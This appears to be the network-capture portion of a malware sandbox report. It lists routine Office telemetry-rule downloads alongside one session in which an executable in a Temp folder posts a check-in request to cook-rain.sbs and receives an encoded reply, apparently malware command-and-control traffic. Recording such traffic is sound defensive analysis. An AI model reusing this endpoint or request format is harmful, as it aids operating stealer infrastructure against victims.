Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:14 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:14 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:14 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200414Z-16547b76f7fkz9l7hC1DFW35uc000000038000000000uuh2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:14 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:14 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:14 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 485a87fa-401e-0029-449d-379b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200414Z-164f84587bf6h2bxhC1DFWbcm800000006bg00000000y0kq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:14 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:14 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:14 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 454072ce-501e-008f-35f0-359054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200414Z-1866b5c5fbbkcpv2hC1DFWf1yc00000006eg0000000016m3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:14 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:14 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:14 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: eda1c5d7-201e-0033-2eb8-37b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200414Z-1866b5c5fbbpxkkxhC1DFWhvmc00000006qg0000000008t1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:14 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49824	188.114.96.3	443	7128	C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:15 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-18 20:04:15 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-18 20:04:16 UTC	981	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g9bb18640ek6m2st5u26qiq1v9; expires=Fri, 14-Mar-2025 13:50:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kWj2hxOjQUNQovodYTRJV66poi8Orwx8iXLccBGx0LAeee0wBlYI%2B17Kbn%2F9OUVUSxNaFTsDfX6m%2FjAABWGgcJ0TiIP76u5UcLtjUT8VhdqdaX3XALLbmMF1cUB%2FEJO1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4a918eca3f7afe-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=22535&sent=4&recv=5&lost=0&retrans=0&sent_bytes=2830&recv_bytes=950&delivery_rate=128056&cwnd=32&unsent_bytes=0&cid=6483303d3e5fc073&ts=876&x=0"
2024-11-18 20:04:16 UTC	388	IN	Data Raw: 34 34 36 63 0d 0a 4c 70 77 49 36 6b 34 4a 69 53 6d 69 61 69 59 76 4c 77 33 79 59 53 37 6c 58 61 62 34 36 6e 65 67 77 69 72 59 5a 55 61 4f 69 37 46 56 76 6e 37 49 64 44 32 6c 43 39 45 50 42 42 56 62 66 34 63 45 41 73 63 38 77 74 72 51 45 63 47 75 57 62 31 4a 5a 50 6a 6d 6b 78 54 36 61 59 59 39 62 4b 55 4c 78 78 49 45 46 58 52 32 30 41 52 41 78 32 65 45 6e 59 41 56 77 61 35 49 75 51 34 70 2f 75 66 53 52 76 42 76 67 69 74 71 37 55 6a 4f 42 30 4e 4b 53 6d 79 59 44 30 65 49 4e 63 76 61 78 6c 58 46 75 41 6a 69 52 77 76 72 2f 39 42 6a 2f 58 75 42 62 48 53 6c 55 6f 41 50 53 41 30 56 4c 35 4d 45 54 49 6b 37 77 70 4f 43 48 38 69 6d 53 62 77 50 4e 75 66 74 32 55 62 2b 62 49 4d 68 59 2f 6c 46 78 41 42 49 54 45 42 73 30 45 30 4d 67 43 65 45 77 73 68 47 38 4b 4e 5a 71 Data Ascii: 446cLpwI6k4JiSmiaiYvLw3yYS7lXab46negwirYZUaOi7FVvn7IdD2lC9EPBBVbf4cEAsc8wtrQEcGuWb1JZPjmkxT6aYY9bKULxxIEFXR20ARAx2eEnYAVwa5IuQ4p/ufSRvBvgitq7UjOB0NKSmyYD0eINcvaxlXFuAjiRwvr/9Bj/XuBbHSlUoAPSA0VL5METIk7wpOCH8imSbwPNuft2Ub+bIMhY/lFxABITEBs0E0MgCeEwshG8KNZq
2024-11-18 20:04:16 UTC	1369	IN	Data Raw: 54 56 54 50 34 71 78 6d 78 73 38 77 75 59 53 47 64 49 58 57 69 63 46 51 36 39 66 39 76 55 6b 56 58 46 72 41 6a 69 52 79 7a 70 36 74 42 48 38 57 6d 41 4a 33 6e 72 57 63 59 46 51 56 39 4c 61 70 34 4a 54 35 55 31 79 70 79 4c 48 4d 6d 70 54 62 30 44 5a 4b 4b 70 31 46 53 2b 4d 73 67 4e 5a 75 42 48 79 68 39 45 44 56 49 68 69 55 4e 4c 69 33 2b 63 32 6f 77 55 78 71 46 4d 74 41 6b 67 34 4f 2f 64 51 66 46 73 67 69 78 73 34 55 50 49 43 55 6c 47 51 6d 2b 56 44 6b 69 42 4d 38 57 66 79 46 75 43 70 31 44 36 58 32 54 43 37 74 42 65 76 46 2b 4c 49 6d 58 73 58 59 41 58 43 6c 51 4e 61 4a 78 44 46 4d 63 78 77 5a 57 61 46 4e 43 6c 52 71 67 4c 49 65 72 6b 30 45 4c 2b 62 34 38 68 5a 65 31 4d 77 77 42 41 54 45 4e 6a 6d 67 42 49 68 48 2b 4b 32 6f 38 4e 67 76 67 49 69 77 51 67 36 Data Ascii: TVTP4qxmxs8wuYSGdIXWicFQ69f9vUkVXFrAjiRyzp6tBH8WmAJ3nrWcYFQV9Lap4JT5U1ypyLHMmpTb0DZKKp1FS+MsgNZuBHyh9EDVIhiUNLi3+c2owUxqFMtAkg4O/dQfFsgixs4UPICUlGQm+VDkiBM8WfyFuCp1D6X2TC7tBevF+LImXsXYAXClQNaJxDFMcxwZWaFNClRqgLIerk0EL+b48hZe1MwwBATENjmgBIhH+K2o8NgvgIiwQg6
2024-11-18 20:04:16 UTC	1369	IN	Data Raw: 30 5a 49 38 6f 5a 2b 4a 47 78 67 68 44 53 55 68 39 6c 51 70 41 69 33 2b 4b 32 6f 38 4e 67 76 67 49 6c 51 41 79 37 38 62 51 58 66 63 71 6c 32 4a 79 71 30 7a 4d 53 42 77 4e 53 6d 71 59 43 45 71 50 50 39 61 66 68 68 37 44 71 6b 36 37 43 69 6a 71 36 64 4a 4d 2b 47 61 49 4b 32 7a 35 57 63 55 4f 56 6b 63 4e 49 64 41 45 56 4d 64 6e 68 4b 79 59 41 74 4f 32 43 6f 38 45 4b 75 4c 75 78 51 7a 68 4a 4a 46 73 62 4f 63 4c 6d 45 68 50 54 55 46 6f 6d 41 56 49 6a 7a 44 4c 6b 35 6f 55 7a 71 35 61 76 51 63 74 34 75 62 66 52 66 4e 74 68 53 64 68 35 6b 2f 48 43 51 51 44 44 57 69 49 51 78 54 48 43 64 53 58 68 44 76 4a 72 45 48 36 47 47 72 31 71 64 52 41 76 6a 4c 49 4b 47 66 6a 51 63 38 42 54 6b 64 43 5a 70 41 4c 52 59 34 38 78 4a 61 4f 46 4d 36 73 52 62 38 45 49 65 48 73 30 30 Data Ascii: 0ZI8oZ+JGxghDSUh9lQpAi3+K2o8NgvgIlQAy78bQXfcql2Jyq0zMSBwNSmqYCEqPP9afhh7Dqk67Cijq6dJM+GaIK2z5WcUOVkcNIdAEVMdnhKyYAtO2Co8EKuLuxQzhJJFsbOcLmEhPTUFomAVIjzDLk5oUzq5avQct4ubfRfNthSdh5k/HCQQDDWiIQxTHCdSXhDvJrEH6GGr1qdRAvjLIKGfjQc8BTkdCZpALRY48xJaOFM6sRb8EIeHs00
2024-11-18 20:04:16 UTC	1369	IN	Data Raw: 4b 32 65 72 45 34 41 45 52 30 46 46 59 4a 59 4b 51 49 30 32 7a 35 61 44 45 63 36 70 54 62 77 47 49 65 6e 6f 31 30 44 30 62 49 73 76 5a 4f 52 45 79 45 67 4b 44 55 70 33 30 46 73 4d 6f 69 6a 50 6c 49 35 56 33 65 35 52 2b 67 41 6f 72 4c 47 54 51 50 64 73 6a 69 6c 6e 36 6b 33 49 44 55 78 4a 54 47 6d 57 41 45 4f 44 4f 73 57 56 6a 42 6e 4d 71 6b 6d 37 43 79 2f 6a 34 74 59 4d 73 43 71 50 4e 43 75 7a 43 2f 45 4c 55 6c 70 64 59 39 41 63 41 70 35 2f 77 35 62 49 54 59 4b 68 57 72 41 4e 4b 75 6e 6d 31 6b 2f 78 62 59 55 71 5a 2b 46 43 79 41 35 4c 52 46 39 73 6e 41 31 4c 69 54 50 4b 6c 34 49 57 7a 2b 41 47 2b 67 41 38 72 4c 47 54 59 50 6c 6e 70 69 64 6e 37 41 76 66 52 6c 30 4e 53 6d 50 51 57 77 79 4c 4e 63 69 54 69 42 7a 48 71 45 4f 7a 41 69 58 6e 37 4e 42 4b 38 32 57 Data Ascii: K2erE4AER0FFYJYKQI02z5aDEc6pTbwGIeno10D0bIsvZOREyEgKDUp30FsMoijPlI5V3e5R+gAorLGTQPdsjiln6k3IDUxJTGmWAEODOsWVjBnMqkm7Cy/j4tYMsCqPNCuzC/ELUlpdY9AcAp5/w5bITYKhWrANKunm1k/xbYUqZ+FCyA5LRF9snA1LiTPKl4IWz+AG+gA8rLGTYPlnpidn7AvfRl0NSmPQWwyLNciTiBzHqEOzAiXn7NBK82W
2024-11-18 20:04:16 UTC	1369	IN	Data Raw: 77 75 59 53 45 4a 43 52 47 79 66 41 6b 57 4c 4d 73 47 54 6a 52 54 45 70 45 4b 77 42 79 4c 71 36 4e 5a 47 2f 57 75 43 4a 57 7a 6a 54 4d 4d 61 42 41 4d 4e 61 49 68 44 46 4d 63 57 77 34 69 47 42 59 4b 2f 42 71 4e 48 49 2b 43 70 69 77 7a 36 59 49 63 6f 62 4f 64 4e 78 51 35 4a 54 45 4a 75 6b 41 78 49 6a 44 62 43 6d 34 55 51 7a 36 52 61 73 41 77 72 34 4f 44 66 51 62 34 6b 79 43 74 7a 71 78 4f 41 4f 55 6c 44 51 32 69 47 51 31 50 4a 4a 6f 53 64 68 46 57 61 34 45 6d 32 43 43 66 6a 36 74 42 4e 39 48 69 61 49 47 4c 6a 54 73 77 44 53 6b 74 66 61 5a 38 4b 54 34 51 32 77 35 4b 45 48 38 47 6e 43 50 52 48 49 2f 53 70 69 77 7a 64 66 5a 67 68 4b 2f 51 46 32 55 68 44 51 51 30 33 30 41 74 42 6a 7a 58 41 6e 59 55 53 78 4b 6c 61 73 77 49 71 37 4f 33 59 51 2f 68 75 69 79 78 35 Data Ascii: wuYSEJCRGyfAkWLMsGTjRTEpEKwByLq6NZG/WuCJWzjTMMaBAMNaIhDFMcWw4iGBYK/BqNHI+Cpiwz6YIcobOdNxQ5JTEJukAxIjDbCm4UQz6RasAwr4ODfQb4kyCtzqxOAOUlDQ2iGQ1PJJoSdhFWa4Em2CCfj6tBN9HiaIGLjTswDSktfaZ8KT4Q2w5KEH8GnCPRHI/SpiwzdfZghK/QF2UhDQQ030AtBjzXAnYUSxKlaswIq7O3YQ/huiyx5
2024-11-18 20:04:16 UTC	1369	IN	Data Raw: 63 45 41 77 31 6f 69 45 4d 55 78 78 37 66 6d 59 51 59 67 72 38 47 6f 30 63 6a 34 4b 6d 4c 44 50 4a 6b 6a 53 78 68 37 55 2f 46 44 6b 35 49 54 57 53 54 44 45 69 42 4f 38 75 61 67 78 7a 44 70 6b 32 77 44 43 4c 68 36 74 56 4b 76 69 54 49 4b 33 4f 72 45 34 41 6f 58 30 42 42 61 4e 41 63 41 70 35 2f 77 35 62 49 54 59 4b 72 52 4c 34 41 4a 4f 48 71 32 30 6e 36 59 49 30 73 59 2f 6c 44 77 41 39 57 58 30 31 6d 6c 51 39 50 68 7a 76 43 6b 34 34 57 78 75 41 47 2b 67 41 38 72 4c 47 54 59 66 4a 74 6f 53 74 77 71 31 53 4f 45 51 52 4b 51 53 2f 49 51 30 32 4d 4e 63 75 58 69 78 50 42 71 30 32 77 42 69 50 6b 35 4d 46 50 38 57 57 4d 4c 47 54 74 54 63 45 48 51 6b 70 45 62 70 67 45 44 4d 6c 2f 77 34 4c 49 54 59 4b 4f 54 37 6b 44 5a 50 4f 6e 79 67 7a 35 5a 73 68 30 4b 2b 74 42 79 Data Ascii: cEAw1oiEMUxx7fmYQYgr8Go0cj4KmLDPJkjSxh7U/FDk5ITWSTDEiBO8uagxzDpk2wDCLh6tVKviTIK3OrE4AoX0BBaNAcAp5/w5bITYKrRL4AJOHq20n6YI0sY/lDwA9WX01mlQ9PhzvCk44WxuAG+gA8rLGTYfJtoStwq1SOEQRKQS/IQ02MNcuXixPBq02wBiPk5MFP8WWMLGTtTcEHQkpEbpgEDMl/w4LITYKOT7kDZPOnygz5Zsh0K+tBy
2024-11-18 20:04:16 UTC	1369	IN	Data Raw: 4e 55 4e 35 44 56 4d 64 6e 68 4b 2b 4c 47 38 79 6e 58 71 74 4b 41 2f 72 6a 31 46 7a 35 66 59 64 73 4a 61 74 4e 67 46 41 58 41 77 31 72 67 55 4d 55 31 32 32 66 7a 39 74 43 6b 76 4a 58 39 42 35 6b 2b 71 6d 4c 48 72 41 71 6d 6d 77 7a 71 77 7a 44 47 6c 5a 4c 54 6e 6d 54 52 48 4b 35 47 4e 36 58 6a 67 4c 54 6e 6e 61 39 48 53 6e 71 2f 73 49 41 36 32 6d 47 49 6d 7a 39 43 34 35 49 53 77 30 56 56 74 42 4c 44 4c 68 78 68 49 4c 49 54 59 4b 56 53 37 51 4a 49 2f 72 34 6e 6d 76 6b 5a 34 34 37 65 71 73 46 67 41 34 45 46 52 30 68 30 41 64 64 78 32 65 55 79 4e 4e 41 6b 66 63 59 36 42 68 71 39 61 6e 46 44 4b 59 34 78 6d 78 35 71 78 4f 41 54 30 64 66 58 32 6d 54 46 55 2f 41 41 66 71 30 6a 78 50 48 70 31 6a 34 4b 53 2f 34 37 70 4d 43 76 6d 58 49 64 46 4b 72 41 34 41 33 43 67 Data Ascii: NUN5DVMdnhK+LG8ynXqtKA/rj1Fz5fYdsJatNgFAXAw1rgUMU122fz9tCkvJX9B5k+qmLHrAqmmwzqwzDGlZLTnmTRHK5GN6XjgLTnna9HSnq/sIA62mGImz9C45ISw0VVtBLDLhxhILITYKVS7QJI/r4nmvkZ447eqsFgA4EFR0h0Addx2eUyNNAkfcY6Bhq9anFDKY4xmx5qxOAT0dfX2mTFU/AAfq0jxPHp1j4KS/47pMCvmXIdFKrA4A3Cg
2024-11-18 20:04:16 UTC	1369	IN	Data Raw: 51 30 69 57 66 35 7a 4b 32 6b 36 58 38 78 2f 71 56 54 75 69 38 4a 4e 61 76 6a 4c 61 59 69 76 35 43 35 68 49 41 30 35 66 66 5a 59 41 57 6f 52 34 2b 71 53 76 47 38 57 68 58 71 6f 51 4b 36 50 48 35 57 33 41 56 4a 30 76 5a 65 56 4d 31 68 6b 45 41 77 31 67 30 46 74 31 78 33 65 45 70 63 5a 56 32 75 41 51 2b 6a 49 6e 34 75 66 55 57 75 38 6e 72 79 4a 73 36 6c 33 51 48 30 73 43 59 31 6d 78 51 77 4c 48 4f 59 54 43 32 6c 75 43 70 46 6e 36 58 33 53 2b 73 6f 59 66 71 54 72 61 4d 79 58 79 43 39 5a 49 48 42 38 44 4c 34 4a 44 46 4d 64 34 78 34 69 61 45 38 47 32 53 2f 30 35 47 73 76 6e 31 45 33 6f 65 6f 55 67 53 75 68 61 79 6a 5a 36 57 45 35 68 6e 67 52 61 6c 6e 2b 4b 32 6f 64 56 6d 70 6b 49 38 6b 63 62 6f 71 6e 4c 44 4b 59 71 76 53 39 6c 35 55 7a 57 47 51 6c 71 51 32 69 Data Ascii: Q0iWf5zK2k6X8x/qVTui8JNavjLaYiv5C5hIA05ffZYAWoR4+qSvG8WhXqoQK6PH5W3AVJ0vZeVM1hkEAw1g0Ft1x3eEpcZV2uAQ+jIn4ufUWu8nryJs6l3QH0sCY1mxQwLHOYTC2luCpFn6X3S+soYfqTraMyXyC9ZIHB8DL4JDFMd4x4iaE8G2S/05Gsvn1E3oeoUgSuhayjZ6WE5hngRaln+K2odVmpkI8kcboqnLDKYqvS9l5UzWGQlqQ2i
2024-11-18 20:04:16 UTC	1369	IN	Data Raw: 54 7a 53 6d 63 68 62 67 72 67 49 34 6b 63 4a 2f 75 37 44 54 37 78 47 6a 79 46 6e 71 31 53 4f 45 51 52 62 44 54 66 44 54 51 79 56 66 35 7a 61 7a 78 62 51 73 6b 36 35 45 53 65 72 31 2b 31 68 37 47 32 59 4c 79 6e 61 52 73 51 65 55 55 35 64 61 4b 34 39 59 5a 55 34 31 4a 6e 4b 4d 50 6a 69 65 61 77 45 4a 4f 4c 75 6b 77 4b 2b 63 73 68 30 4b 38 5a 5a 78 78 68 48 44 32 68 56 30 6a 4a 61 68 44 2f 4b 6e 63 67 4b 6a 4c 6b 49 72 45 64 38 76 36 65 54 58 72 34 79 79 47 74 6c 35 6b 72 44 42 6b 64 66 58 32 6d 54 46 55 2f 41 41 66 71 31 67 78 54 53 72 56 6d 33 41 7a 4c 53 31 2f 52 4b 2b 32 32 32 45 6c 7a 36 54 4e 42 4b 59 6b 35 62 62 4e 42 4e 44 4a 39 2f 6e 4e 71 76 45 38 65 6e 43 50 52 48 49 4b 79 78 6b 32 50 31 61 35 67 68 65 75 5a 50 31 6b 70 6a 53 30 68 6f 30 45 30 4d Data Ascii: TzSmchbgrgI4kcJ/u7DT7xGjyFnq1SOEQRbDTfDTQyVf5zazxbQsk65ESer1+1h7G2YLynaRsQeUU5daK49YZU41JnKMPjieawEJOLukwK+csh0K8ZZxxhHD2hV0jJahD/KncgKjLkIrEd8v6eTXr4yyGtl5krDBkdfX2mTFU/AAfq1gxTSrVm3AzLS1/RK+222Elz6TNBKYk5bbNBNDJ9/nNqvE8enCPRHIKyxk2P1a5gheuZP1kpjS0ho0E0M

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:15 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:16 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:16 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 152871bd-d01e-002b-2382-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200416Z-1866b5c5fbbb286shC1DFWx97800000002rg00000000dp4t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:16 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" 